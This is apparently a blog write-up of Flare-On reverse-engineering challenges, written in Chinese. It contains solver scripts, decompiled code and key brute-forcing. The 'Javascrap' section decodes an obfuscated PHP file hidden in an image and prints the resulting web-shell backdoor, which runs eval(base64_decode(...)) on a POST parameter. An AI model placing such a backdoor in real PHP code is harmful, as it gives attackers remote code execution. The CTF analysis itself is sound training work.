Back

BUUOJ FlareOn Challenge

BUUOJ FlareOn 特辑

Chanllenge1

一个修改了 table 的 Base64

import base64
import string

fake_base = 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/'
true_base = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'

cipher = 'x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q'
good_cipher = ''

for c in cipher:
    good_cipher += true_base[fake_base.index(c)]

print (good_cipher)
print (base64.b64decode(good_cipher))

Bob Doge

先运行测试一下,发现点击 Decode 之后是乱码

dnSpy 打开,找到 Main 函数

private static void Main()
{
	Application.EnableVisualStyles();
	Application.SetCompatibleTextRenderingDefault(false);
	Application.Run(new Form1());
}

发现只新建了一个 Form1

进入 Form1,找到带有 Click 的函数

		private void btnDecode_Click(object sender, EventArgs e)
		{
			this.pbRoge.Image = Resources.bob_roge;
			byte[] dat_secret = Resources.dat_secret;
			string text = "";
			foreach (byte b in dat_secret)
			{
				text += (char)((b >> 4 | ((int)b << 4 & 240)) ^ 41);
			}
			text += "\0";
			string text2 = "";
			for (int j = 0; j < text.Length; j += 2)
			{
				text2 += text[j + 1];
				text2 += text[j];
			}
			string text3 = "";
			for (int k = 0; k < text2.Length; k++)
			{
				char c = text2[k];
				text3 += (char)((byte)text2[k] ^ 102);
			}
			this.lbl_title.Text = text3;
		}

发现是从一个 Resources 的地方调用来了一个 dat_secret。但找不到这个地方。

于是考虑进行动态调试。

打上断点后调试,点击 Decode 按钮,进入如下页面

一开始以为最后的 text3flag,结果看到 text 变量长得就很好看,符合 FlareOn 的 flag 的特征,于是直接提交试试,发现通过。

UltimateMinesweeper

运行软件测试一下,发现是一个 $30\times 30$ 的扫雷,只有三个格子不是雷。

exeinfo发现是 .NET 文件,因此拖到 dnSpy

由于是面向对象代码,不太好分析,所以进行动态调试,在生成完扫雷界面后停下,查看内存数据,发现在 mineField.MinesPresent 中存有雷的位置。

先尝试直接手动把雷扔到前三个,然后运行试一下,发现:

  • 二元数组是先竖后横
  • 最后出现的结果是乱码

因此简单看一下最后的生成函数

寻找 SuccessPopup 的调用

发现 new SuccessPopup(this.GetKey(this.RevealedCells)).ShowDialog();

因此找到这个方法

		private string GetKey(List<uint> revealedCells)
		{
			revealedCells.Sort();
			Random random = new Random(Convert.ToInt32(revealedCells[0] << 20 | revealedCells[1] << 10 | revealedCells[2]));
			byte[] array = new byte[32];
			byte[] array2 = new byte[]
			{
				245,
				75,
				65,
				142,
				68,
				71,
				100,
				185,
				74,
				127,
				62,
				130,
				231,
				129,
				254,
				243,
				28,
				58,
				103,
				179,
				60,
				91,
				195,
				215,
				102,
				145,
				154,
				27,
				57,
				231,
				241,
				86
			};
			random.NextBytes(array);
			uint num = 0U;
			while ((ulong)num < (ulong)((long)array2.Length))
			{
				byte[] array3 = array2;
				uint num2 = num;
				array3[(int)num2] = (array3[(int)num2] ^ array[(int)num]);
				num += 1U;
			}
			return Encoding.ASCII.GetString(array2);
		}

似乎最后的结果和扫雷时点击的位置也有关系,所以不能手动修改雷的位置

那就找到三个 False 并记录下来即可

7 20
28 7
24 28

运行并点击这三个位置

最后弹出 flag

[FlareOn1]Javascrap

一开始盯着网页看了半天,找不到题目在哪儿,就看了眼别人的wp,发现文件就在图片里

用010editor打开,找到php文件,导出

<?php 
	$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
	$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
	$do_me="";
	for($i=0;$i<count($order);$i++){
		$do_me=$do_me.$terms[$order[$i]];
	}
	eval($do_me); 
?>

用国赛学来的方法,直接把 eval 改成 print 然后放在线环境运行一下,得到第二份脚本

$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';
$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));

这次好像在线环境运行不了,看一下字符串都是什么,复制到python里,发现 $___base64_decode

于是把 $__ 解码一下,得到

$code=base64_decode($_);eval($code);

所以只要解码 $_ 就可以了,得到

if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"])) { eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"])); }

POST请求是什么不太清楚,但看到这些字符好像都在可见字符范围内,所以直接转成string,得到

b'a11DOTthatDOTjava5crapATflareDASHonDOTcom'

DOTATDASH 都转成对应的符号,就拿到flag了

[FlareOn4]greek_to_me

尝试运行一下,发现不能输入

逆向,发现127.0.0.1的字样,以及socket等明显的网络通信函数

直接运行的时候看一下主机端口,发现是 127.0.0.1:2222,用Windows下的nc连上去就可以进行调试了

SMC还是很明显的

发现解SMC时仅用了第一个字节,但由于不知道里面有什么,猜测可能是对后面的字节进行验证,所以决定将程序本地复现一下,爆破解SMC的密钥

#include <stdio.h>

unsigned char ida_chars[] =
{
  0x33, 0xE1, 0xC4, 0x99, 0x11, 0x06, 0x81, 0x16, 0xF0, 0x32, 
  0x9F, 0xC4, 0x91, 0x17, 0x06, 0x81, 0x14, 0xF0, 0x06, 0x81, 
  0x15, 0xF1, 0xC4, 0x91, 0x1A, 0x06, 0x81, 0x1B, 0xE2, 0x06, 
  0x81, 0x18, 0xF2, 0x06, 0x81, 0x19, 0xF1, 0x06, 0x81, 0x1E, 
  0xF0, 0xC4, 0x99, 0x1F, 0xC4, 0x91, 0x1C, 0x06, 0x81, 0x1D, 
  0xE6, 0x06, 0x81, 0x62, 0xEF, 0x06, 0x81, 0x63, 0xF2, 0x06, 
  0x81, 0x60, 0xE3, 0xC4, 0x99, 0x61, 0x06, 0x81, 0x66, 0xBC, 
  0x06, 0x81, 0x67, 0xE6, 0x06, 0x81, 0x64, 0xE8, 0x06, 0x81, 
  0x65, 0x9D, 0x06, 0x81, 0x6A, 0xF2, 0xC4, 0x99, 0x6B, 0x06, 
  0x81, 0x68, 0xA9, 0x06, 0x81, 0x69, 0xEF, 0x06, 0x81, 0x6E, 
  0xEE, 0x06, 0x81, 0x6F, 0xAE, 0x06, 0x81, 0x6C, 0xE3, 0x06, 
  0x81, 0x6D, 0xEF, 0x06, 0x81, 0x72, 0xE9, 0x06, 0x81, 0x73, 
  0x7C
};

#define HIBYTE(x) ((x & 0xFF00) >> 8)

int main(){
    for (unsigned short buf = 0; buf <= 0xff; buf++){
        unsigned char new_char[130]; 
        unsigned char *a1 = new_char;
        unsigned int i = 0;
        do {
            *a1 = (buf ^ ida_chars[i++]) + 34;
            ++a1;
        } while ( i < 121 );
        unsigned int v2 = 0x79;                                      // 0x79
        a1 = new_char;
        unsigned short v3 = 255;
        for ( i = 255; v2; v3 = HIBYTE(v3) + (unsigned char)v3 ) {
            unsigned short v5 = i;
            int v6 = v2;
            if ( v2 > 0x14 )
                v6 = 0x14;
            v2 -= v6;
            do {
                v5 += *a1;
                v3 += v5;
                ++a1;
                --v6;
            } while ( v6 );
            i = HIBYTE(v5) + (unsigned char)v5;
        }
        int ret = (HIBYTE(i) + (unsigned char)i) | ((v3 << 8) + (v3 & 0xFF00));
        // if (buf == 'f') 
        //     printf("%x\n", ret); // 0xf51c
        // if (buf == '@')
        //     printf("%x\n", ret); // 0x60ee
        if (ret == 0xFB5E) {
            printf("%d\n", buf);
            break;
        }
        // printf("%c %x\n", buf, ret);
    }
}

一开始给的范围小了(以为会是可见字符),一直爆破不出来,反复验证了好多次,后来才发现范围是 0-0xff

最后爆破出来是 0xA2,思考了一下怎么nc传递不可见字符,然后决定直接动调改内存

下断点,然后修改buf,之后看一眼SMC解密结果,发现直接给flag了,去栈里dump一下

[FlareOn5]FLEGGO

看名字还以为是个go呢,结果发现是个披着re外套的misc(流汗

解压后发现有一堆程序,先随便挑一个日

动调发现需要输入一串字符串,刚开始还想看看是不是和base64有关,后来发现这串字符串就在exe文件中,那就直接上python整批量操作了

发现password存的地址是固定的,那就用subprocess对每个exe运行一下

放个脚本

import subprocess
import os
# from pwn import *

files = [
    "./1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe",
    "./1JpPaUMynR9GflWbxfYvZviqiCB59RcI.exe",
    "./2AljFfLleprkThTHuVvg63I7OgjG2LQT.exe",
    "./3Jh0ELkck1MuRvzr8PLIpBNUGlspmGnu.exe",
    "./4ihY3RWK4WYqI4XOXLtAH6XV5lkoIdgv.exe",
    "./7mCysSKfiHJ4WqH2T8ERLE33Wrbp6Mqe.exe",
    "./AEVYfSTJwubrlJKgxV8RAl0AdZJ5vhhy.exe",
    "./BG3IDbHOUt9yHumPceLTVbObBHFneYEu.exe",
    "./Bl0Iv5lT6wkpVCuy7jtcva7qka8WtLYY.exe",
    "./Bp7836noYu71VAWc27sUdfaGwieALfc2.exe",
    "./E36RGTbCE4LDtyLi97l9lSFoR7xVMKGN.exe",
    "./Ew93SSPDbgiQYo4E4035A16MJUxXegDW.exe",
    "./HDHugJBqTJqKKVtqi3sfR4BTq6P5XLZY.exe",
    "./IXITujCLucnD4P3YrXOud5gC7Bwcw6mr.exe",
    "./JIdE7SESzC1aS58Wwe5j3i6XbpkCa3S6.exe",
    "./JXADoHafRHDyHmcTUjEBOvqq95spU7sj.exe",
    "./K7HjR3Hf10SGG7rgke9WrRfxqhaGixS0.exe",
    "./MrA1JmEDfPhnTi5MNMhqVS8aaTKdxbMe.exe",
    "./NaobGsJ2w6qqblcIsj4QYNIBQhg3gmTR.exe",
    "./P2PxxSJpnquBQ3xCvLoYj4pD3iyQcaKj.exe",
    "./PvlqINbYjAY1E4WFfc2N6rZ2nKVhNZTP.exe",
    "./SDIADRKhATsagJ3K8WwaNcQ52708TyRo.exe",
    "./SeDdxvPJFHCr7uoQMjwmdRBAYEelHBZB.exe",
    "./aSfSVMn7B8eRtxgJgwPP5Y5HiDEidvKg.exe",
    "./azcyERV8HUbXmqPTEq5JFt7Ax1W5K4wl.exe",
    "./bmYBZTBJlaFNbbwpiOiiQVdzimx8QVTI.exe",
    "./cWvFLbliUfJl7KFDUYF1ABBFYFb6FJMz.exe",
    "./d4NlRo5umkvWhZ2FmEG32rXBNeSSLt2Q.exe",
    "./dT4Xze8paLOG7srCdGLsbLE1s6m3EsfX.exe",
    "./dnAciAGVdlovQFSJmNiPOdHjkM3Ji18o.exe",
    "./eEJhUoNbuc40kLHRo8GB7bwFPkuhgaVN.exe",
    "./eovBHrlDb809jf08yaAcSzcX4T37F1NI.exe",
    "./gFZw7lPUlbOXBvHRc31HJI5PKwy745Wv.exe",
    "./hajfdokqjogmoWfpyp4w0feoeyhs1QLo.exe",
    "./iJO15JsCa1bV5anXnZ9dTC9iWbEDmdtf.exe",
    "./jJHgJjbyeWTTyQqISuJMpEGgE1aFs5ZB.exe",
    "./kGQY35HJ7gvXzDJLWe8mabs3oKpwCo6L.exe",
    "./lk0SOpnVIzTcC1Dcou9R7prKAC3laX0k.exe",
    "./u3PL12jk5jCZKiVm0omvh46yK7NDfZLT.exe",
    "./u8mbI3GZ8WtwruEiFkIl0UKxJS917407.exe",
    "./v6RkHsLya4wTAh71C65hMXBsTc1ZhGZT.exe",
    "./w3Y5YeglxqIWstp1PLbFoHvrQ9rN3F3x.exe",
    "./wmkeAU8MdYrC9tEUMHH2tRMgaGdiFnga.exe",
    "./x4neMBrqkYIQxDuXpwJNQZOlfyfA0eXs.exe",
    "./xatgydl5cadiWFY4EXMRuoQr22ZIRC1Y.exe",
    "./xyjJcvGAgswB7Yno5e9qLF4i13L1iGoT.exe",
    "./y77GmQGdwVL7Fc9mMdiLJMgFQ8rgeSrl.exe",
    "./zRx3bsMfOwG8IaayOeS8rHSSpiRfc9IB.exe"
]


for f in files:
    cur_file = open(f, 'rb')
    cur_file.seek(0x2AB0)
    read_file = cur_file.read(32)
    password = b''
    for p in read_file:
        if p != 0:
            password += p.to_bytes(1, 'big')
    # print (password)
    p = subprocess.Popen(f, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    out, err = p.communicate(password + b'\n')
    # print (out)
    pic_name = out[47:59]
    char_of_pic = out[-3].to_bytes(1, 'big')
    os.rename(pic_name, char_of_pic + pic_name)

输出会说每个图片对应的字符,点开图片后发现左上角有数字,应该是下标

这tm就是misc啊!

剩下的就是手动找位置了,屑

[FlareOn1]5get_it

给的是一个DLL文件(没记错的话),应该是用来钩取键盘输入的,根据不同的输入执行不同的内容,观察到有个函数为 sub_10001240,执行成功就说明通过了

查找引用

const char *sub_10009AF0()
{
  if ( dword_100194FC > 0 )
  {
    _cfltcvt_init();
    sub_10001240();
  }
  return "m";
}

要求让内存中一个数不为0,根据这个数再向上找

const char *sub_10009B60()
{
  if ( dword_1001947C <= 0 )
  {
    if ( dword_10019490 <= 0 )
    {
      if ( dword_100194E0 <= 0 )
      {
        if ( dword_100194EC <= 0 )
        {
          if ( dword_100194F8 <= 0 )
          {
            _cfltcvt_init();
          }
          else
          {
            dword_100194F8 = 0;
            dword_100194FC = 1;
          }
        }
        else
        {
          dword_100194EC = 0;
          dword_100194F0 = 1;
        }
      }
      else
      {
        dword_100194E0 = 0;
        dword_100194E4 = 1;
      }
    }
    else
    {
      dword_10019490 = 0;
      dword_10019494 = 1;
    }
  }
  else
  {
    dword_1001947C = 0;
    dword_10019480 = 1;
  }
  return "o";
}

看到最里面就是赋值为1,所以最后两位输入就是 om

根据这个方法一点一点向上找引用,就能恢复出flag

不过不知道大小写是怎么判断的,网上也没查到

[FlareOn]starter

baby

先执行给的程序,会自动解压出一个小程序,反编译一下,观察到

  ReadFile(v2, byte_402158, 0x32u, &NumberOfBytesWritten, 0);
  v0 = 0;
  while ( ((unsigned __int8)byte_402158[v0] ^ 0x7D) == byte_402140[v0] )
  {
    if ( ++v0 >= 24 )
      return WriteFile(hFile, aYouAreSuccess, 0x12u, &NumberOfBytesWritten, 0);
  }

直接dump数据进行异或就行

[FlareOn2]elfie

这题是个python的可执行文件,能解出一个混淆过的python文件

import base64

O0OO0OO00000OOOO0OOOOO0O00O0O0O0 = 'IRGppV0FJM3BRRlNwWGhNNG'
OO0O0O00OO00OOOOOO0O0O0OOO0OOO0O = 'UczRkNZZ0JVRHJjbnRJUWlJV3FRTkpo'
OOO0000O0OO0OOOOO000O00O0OO0O00O = 'xTStNRDJqZG9nRCtSU1V'
OOO0000O0OO0OOOOO000O00O0OO0O00O += 'Rbk51WXI4dmRaOXlwV3NvME0ySGp'
# many lines
exec(base64.b64decode(OOO))

把最后的exec改成print,查看一下代码,发现里面的字符串都被 [::-1] 了,解一下发现其中一个就是flag

[FlareOn2]Android

so层逆向,程序是将前后两个输入合并,然后做一个质因数分解,手动dump了一下数据,然后写脚本(如果会idapython就好了,留下了不学无术的泪水.jpg)

from libnum import *

for f in extract:
	flag = 1
	for i in range(len(f)):
		flag *= pow(prime[i], f[i])
	print (n2s(flag).decode(), end = '')

print ()
Built with Hugo
Theme Stack designed by Jimmy